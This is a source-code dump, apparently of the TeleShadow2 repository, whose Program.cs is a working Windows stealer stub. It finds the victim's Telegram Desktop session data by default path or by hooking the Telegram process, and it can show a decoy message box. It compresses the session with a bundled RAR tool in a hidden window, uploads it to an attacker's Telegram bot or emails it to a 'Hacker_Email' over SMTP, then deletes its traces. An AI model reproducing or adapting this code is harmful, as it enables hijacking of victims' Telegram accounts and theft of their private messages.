https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR6.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR7.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR7.ico
--------------------------------------------------------------------------------
/Release/Icon/SAR8.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/Icon/SAR8.ico
--------------------------------------------------------------------------------
/Release/TeleShadow.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/TeleShadow.exe
--------------------------------------------------------------------------------
/Release/stubx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Release/stubx
--------------------------------------------------------------------------------
/Screen.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Screen.jpg
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.31101.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Teleshadow Paylaod V2.0", "Teleshadow Paylaod V2.0\Teleshadow Paylaod V2.0.csproj", "{A5723191-B0DC-41DA-BD45-F022C08C7330}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {A5723191-B0DC-41DA-BD45-F022C08C7330}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {A5723191-B0DC-41DA-BD45-F022C08C7330}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {A5723191-B0DC-41DA-BD45-F022C08C7330}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {A5723191-B0DC-41DA-BD45-F022C08C7330}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0.v12.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Stub/Teleshadow Paylaod V2.0.v12.suo
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.IO.Compression;
6 | using System.Net;
7 | using System.Net.Mail;
8 | using System.Text;
9 | using System.Threading;
10 | using System.Windows.Forms;
11 |
12 | namespace Teleshadow_Paylaod_V2._0
13 | {
14 | class Program
15 | {
16 | #region Variables
17 | private static string Session = null;
18 | private static string Token = null;
19 | private static string ID = null;
20 | private static string Method = null;
21 | private static bool FT = true;
22 | internal static string Hacker_Email = null; // Send To
23 | internal static string Email = null; // Send From
24 | internal static string Password = null;// Email Password
25 | internal static string SMTP = null; // Smtp Server
26 | internal static int SMTP_Port = 25; // Smtp Port
27 | #endregion
28 |
29 | #region Main
30 | static byte[] Reverse(byte[] Data)
31 | {
32 | byte[] Temp = new byte[Data.Length];
33 | for (int i = 0; i < Data.Length; i++)
34 | {
35 | Temp[(Temp.Length - 1) - i] = Data[i];
36 | }
37 | return Temp;
38 | }
39 | static void Main(string[] args)
40 | {
41 | string[] Config = new string[6];
42 | string FMessage = null;
43 | #region Read Config
44 | try
45 | {
46 | try
47 | {
48 | byte[] Stub = System.IO.File.ReadAllBytes(Application.ExecutablePath.ToString());
49 | byte[] ConfigArry = new byte[1024];
50 | Array.ConstrainedCopy(Stub, Stub.Length - 1024, ConfigArry, 0, 1024);
51 | ConfigArry = Reverse(ConfigArry);
52 | string ConfigString = Encoding.UTF8.GetString(ConfigArry).TrimEnd('\x00');
53 | Config = ConfigString.Split('`');
54 | }
55 | catch { Application.Exit(); }
56 | if (Config[0] == "0")
57 | {
58 | try
59 | {
60 | Token = Config[1];
61 | ID = Config[2];
62 | FMessage = Config[3];
63 | Method = "Telegram";
64 | }
65 | catch (Exception) { }
66 | }
67 | else
68 | {
69 | try
70 | {
71 | string Mail = Config[1];
72 | string[] MailConfig = Mail.Split('~');
73 | SMTP = MailConfig[0];
74 | Hacker_Email = Config[2];
75 | Password = MailConfig[2];
76 | Email = MailConfig[1];
77 | FMessage = Config[3];
78 | Method = "SMTP";
79 | }
80 | catch (Exception) { }
81 | }
82 | }
83 | catch { }
84 | #endregion
85 |
86 | #region RunConfig
87 | if (FMessage != "N~N~N")
88 | {
89 | try
90 | {
91 | string[] FMC = FMessage.Split('~');
92 | string Type = FMC[0];
93 | string Title = FMC[1];
94 | string Body = FMC[2];
95 | if (Type == "Question")
96 | {
97 | MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Question);
98 | }
99 | else if (Type == "Info")
100 | {
101 | MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Information);
102 | }
103 | else if (Type == "Error")
104 | {
105 | MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Error);
106 | }
107 | }
108 | catch { }
109 | }
110 | #endregion
111 |
112 | #region Check Default Location
113 | string TDataDefaultLocation = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Telegram Desktop\tdata";
114 | Console.WriteLine("Checking Default Location...");
115 | Report2Tel("Checking Default Location...");
116 | Console.WriteLine(TDataDefaultLocation);
117 | if (Directory.Exists(TDataDefaultLocation))
118 | {
119 | Console.WriteLine("Detected Session !");
120 | Report2Tel("Detected Session !" + Environment.NewLine + "NOTE: User Used Default Location !");
121 | Session = HuntSession(TDataDefaultLocation);
122 | }
123 | else
124 | {
125 | Console.WriteLine("tdata not exists, User Used Custom Location !");
126 | Report2Tel("TData not exists, User Used Custom Location !");
127 | #region Wait For Proccess
128 | Console.WriteLine("\nWaiting For Telegram Proccess To Track Location...");
129 | Report2Tel("Waiting For Telegram Proccess To Track Location...");
130 | string SessionLocation = TryHookProccess();
131 | Begin:
132 | try
133 | {
134 | if (SessionLocation != "NotHooked")
135 | {
136 | Session = HuntSession(SessionLocation);
137 | }
138 | else
139 | {
140 | //Wait For Proccess...
141 | if (FT)
142 | {
143 | Report2Tel("Telegram is not running! Please Wait...");
144 | FT = false;
145 | }
146 | while (SessionLocation == "NotHooked")
147 | {
148 | SessionLocation = TryHookProccess();
149 | }
150 | goto Begin;
151 | }
152 | }
153 | catch { }
154 | #endregion
155 | }
156 | #endregion
157 | Thread.Sleep(1000);
158 | if (File.Exists(Session))
159 | {
160 | SendTData(Session);
161 | }
162 | Thread.Sleep(1000);
163 | ClearLogs();
164 | Application.Exit();
165 | }
166 |
167 | #endregion
168 |
169 | static void ClearLogs()
170 | {
171 | try
172 | {
173 | System.Threading.Thread.Sleep(5000); // if you get error on this line please disable clear log in main and delete this child class
174 | String Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TeleShadow";
175 | DirectoryInfo Dir = new DirectoryInfo(Temp);
176 | foreach (FileInfo SingleFile in Dir.GetFiles())
177 | {
178 | SingleFile.Delete();
179 | }
180 | foreach (DirectoryInfo SingleDirectory in Dir.GetDirectories())
181 | {
182 | SingleDirectory.Delete(true);
183 | }
184 | Directory.Delete(Temp);
185 | string Romaing = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
186 | string[] Compress = { Romaing + @"\rar_cli.exe", Romaing + @"\Session.rar" };
187 | File.Delete(Compress[0]);
188 | File.Delete(Compress[1]);
189 | }
190 | catch (Exception)
191 | { }
192 | }
193 | #region Reporter
194 | private static void Report2Tel(string msg)
195 | {
196 | if (Method == "Telegram")
197 | {
198 | string _Url = "https://api.telegram.org/bot" + Token + "/sendMessage?chat_id=" + ID + "&parse_mode=html&text=" + msg + "";
199 | try
200 | { string Response = new WebClient().DownloadString(_Url); }
201 | catch (Exception)
202 | { }
203 |
204 | }
205 | }
206 | #endregion
207 |
208 | #region TryHookProccess
209 | private static string TryHookProccess()
210 | {
211 | bool HookedTelegram = false;
212 | string SessionLocation = null;
213 | try
214 | {
215 | Process[] process = Process.GetProcesses();
216 | foreach (Process prs in process)
217 | {
218 | if (prs.ProcessName == "Telegram")
219 | {
220 | if (!FT)
221 | {
222 | Report2Tel("Detected Telegram !");
223 | }
224 | Console.WriteLine(Environment.NewLine);
225 | Console.WriteLine("Proccess: " + prs.ProcessName);
226 | Report2Tel("Proccess: " + prs.ProcessName);
227 | ReErr:
228 | try
229 | {
230 | Console.WriteLine("Location: " + prs.MainModule.FileName);
231 | Report2Tel("Location: " + prs.MainModule.FileName);
232 | }
233 | catch
234 | {
235 | goto ReErr;
236 | }
237 | SessionLocation = prs.MainModule.FileName.Replace("\\Telegram.exe", "") + "\\tdata";
238 | Console.WriteLine("Session Location: " + SessionLocation + Environment.NewLine);
239 | Report2Tel("Session Location: " + SessionLocation);
240 | HookedTelegram = true;
241 | break;//if we dont break here and another telegram proccess exists, then TryHookProcess will hook last one (in this case second one)
242 | }
243 |
244 | }
245 | }
246 | catch { }
247 | if (!HookedTelegram)
248 | {
249 | return "NotHooked";
250 | }
251 | else
252 | {
253 | return SessionLocation;
254 | }
255 | }
256 | #endregion
257 |
258 | #region HuntSession
259 | private static string HuntSession(string TDataLocation)
260 | {
261 | Console.WriteLine("\nHooked Telegram...");
262 | string Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TeleShadow";
263 | Directory.CreateDirectory(Temp);
264 | string[] Files, Directoryes;
265 | string SuperDirectory = null;
266 |
267 | #region Get Session
268 | try
269 | {
270 | if (Directory.Exists(Temp))
271 | {
272 | DirectoryInfo dir = new DirectoryInfo(Temp);
273 | dir.Delete(true);
274 | }
275 | }
276 | catch { }
277 |
278 | if (Directory.Exists(TDataLocation)) //Get Telegram Session
279 | {
280 | Files = Directory.GetFiles(TDataLocation);
281 | Directoryes = Directory.GetDirectories(TDataLocation);
282 | Directory.CreateDirectory(Temp + @"\TelegramSession\" + "tdata");
283 | foreach (var Single in Directoryes)
284 | {
285 | try
286 | {
287 |
288 | DirectoryInfo Check = new DirectoryInfo(Single);
289 | if (Convert.ToInt64(Check.Name.Length) > 15)
290 | {
291 | Directory.CreateDirectory(Temp + @"\TelegramSession\" + @"tdata\" + Check.Name);
292 | SuperDirectory = Check.Name;
293 | }
294 | }
295 | catch { }
296 | }
297 | foreach (var Single in Files)
298 | {
299 | try
300 | {
301 | FileInfo Check = new FileInfo(Single);
302 | if (Convert.ToInt64(Check.Length) < 5000 &&
303 | Check.Name.Length > 15 &&
304 | Path.GetExtension(Single) != ".json")
305 | {
306 | File.Copy(Single, Temp + @"\TelegramSession\" + @"tdata\" + Check.Name);
307 | }
308 | }
309 | catch (Exception) { }
310 | }
311 | string[] Map =
312 | {
313 | TDataLocation + @"\" + SuperDirectory + @"\map0",
314 | TDataLocation + @"\" + SuperDirectory + @"\map1"
315 | };
316 | if (File.Exists(Map[0]))
317 | {
318 | File.Copy(Map[0], Temp + @"\TelegramSession\" + @"tdata\" + SuperDirectory + @"\" + "map0");
319 | }
320 | if (File.Exists(Map[1]))
321 | {
322 | File.Copy(Map[1], Temp + @"\TelegramSession\" + @"tdata\" + SuperDirectory + @"\" + "map1");
323 | }
324 | }
325 | #endregion
326 |
327 | //compress session
328 | return CompressSession(Temp + @"\TelegramSession\");
329 | }
330 | #endregion
331 |
332 | #region Compress
333 | private static string CompressSession(string TDataLocation)
334 | {
335 | #region Run RAR Proccess
336 | string RCL = TDataLocation.Replace("\\tdata", "");
337 | try
338 | {
339 | Console.WriteLine("\nCompressing Session...");
340 | Report2Tel("Compressing Session...");
341 | File.WriteAllBytes(RCL + @"\rar_cli.exe", Properties.Resources.rar_cli);
342 | System.Diagnostics.Process cmd = new System.Diagnostics.Process();
343 | cmd.StartInfo.WorkingDirectory = RCL;
344 | cmd.StartInfo.FileName = "rar_cli.exe";
345 | cmd.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
346 | cmd.StartInfo.Arguments = "a -ep1 -r Session.rar tdata";
347 | cmd.Start();
348 | }
349 | catch { }
350 | #endregion
351 | string _location = TDataLocation.Replace("tdata", "");
352 | return TDataLocation + @"\Session.rar";
353 |
354 | }
355 |
356 | #region SendTData
357 | private static void SendTData(string TData)
358 | {
359 | //upload TData
360 | if (Method == "Telegram")
361 | {
362 | Report2Tel("Sending TData...");
363 | Byte[] _File_Bytes = System.IO.File.ReadAllBytes(TData);
364 | string _File_Name = TData;
365 | string _Url = "https://api.telegram.org/bot" + Token + "/sendDocument?chat_id=" + ID + "&caption=LocalTime: " + System.DateTime.Now.ToString();
366 | UploadMultipart(_File_Bytes, _File_Name, "application/x-ms-dos-executable", _Url);
367 | }
368 | else
369 | {
370 | MailTDATA(TData, Email, Password, Hacker_Email, SMTP, SMTP_Port);
371 | }
372 |
373 | }
374 | #endregion
375 |
376 | #region Telegram Bot HTTP Post
377 | private static void UploadMultipart(byte[] file, string filename, string contentType, string url)
378 | {
379 | try
380 | {
381 | var webClient = new WebClient();
382 | string boundary = "------------------------" + DateTime.Now.Ticks.ToString("x");
383 | webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + boundary);
384 | var fileData = webClient.Encoding.GetString(file);
385 | var package = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", boundary, filename, contentType, fileData);
386 |
387 | var nfile = webClient.Encoding.GetBytes(package);
388 |
389 | byte[] resp = webClient.UploadData(url, "POST", nfile);
390 |
391 | Environment.Exit(0);
392 | }
393 | catch { }
394 | }
395 | #endregion
396 | static void MailTDATA(string Attach, string From, string Password, string TO, string Server, int Port)
397 | {
398 | try
399 | {
400 | MailMessage Transfer = new System.Net.Mail.MailMessage();
401 | SmtpClient SmtpServer = new System.Net.Mail.SmtpClient(Server);
402 | Transfer.From = new System.Net.Mail.MailAddress(From);
403 | Transfer.Subject = "[TeleShadow - " + "Telegram Session]";
404 | Transfer.Body =
405 | "MachineName : " + Environment.MachineName.ToString() + Environment.NewLine
406 | + "OperationSystem : " + Environment.OSVersion.ToString() + Environment.NewLine;
407 | var Attachment = new System.Net.Mail.Attachment(Attach);
408 | Transfer.Attachments.Add(Attachment);
409 | SmtpServer.Port = Port;
410 | SmtpServer.Credentials = new System.Net.NetworkCredential(From, Password);
411 | Transfer.To.Add(TO);
412 | SmtpServer.EnableSsl = true;
413 | SmtpServer.Send(Transfer);
414 | Transfer.Dispose();
415 |
416 | }
417 | catch (Exception)
418 | { }
419 | }
420 | }
421 | #endregion
422 | }
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Teleshadow Paylaod V2.0")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Teleshadow Paylaod V2.0")]
13 | [assembly: AssemblyCopyright("Copyright © 2017")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("42c5c356-39cf-4c07-96df-ebb0ccf78ca4")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Teleshadow_Paylaod_V2._0.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Teleshadow_Paylaod_V2._0.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Looks up a localized resource of type System.Byte[].
65 | ///
66 | internal static byte[] rar_cli {
67 | get {
68 | object obj = ResourceManager.GetObject("rar_cli", resourceCulture);
69 | return ((byte[])(obj));
70 | }
71 | }
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\Resources\rar_cli.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
123 |
124 |
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Resources/rar_cli.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Stub/Teleshadow Paylaod V2.0/Resources/rar_cli.exe
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/System.Windows.Forms.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Stub/Teleshadow Paylaod V2.0/System.Windows.Forms.dll
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Telegram.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Stub/Teleshadow Paylaod V2.0/Telegram.dll
--------------------------------------------------------------------------------
/Stub/Teleshadow Paylaod V2.0/Teleshadow Paylaod V2.0.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {A5723191-B0DC-41DA-BD45-F022C08C7330}
8 | WinExe
9 | Properties
10 | Teleshadow_Paylaod_V2._0
11 | Teleshadow Paylaod V2.0
12 | v3.0
13 | 512
14 | true
15 |
16 |
17 |
18 | AnyCPU
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | DEBUG;TRACE
24 | prompt
25 | 4
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 | True
50 | True
51 | Resources.resx
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | ResXFileCodeGenerator
60 | Resources.Designer.cs
61 |
62 |
63 |
64 |
65 |
66 |
67 |
74 |
--------------------------------------------------------------------------------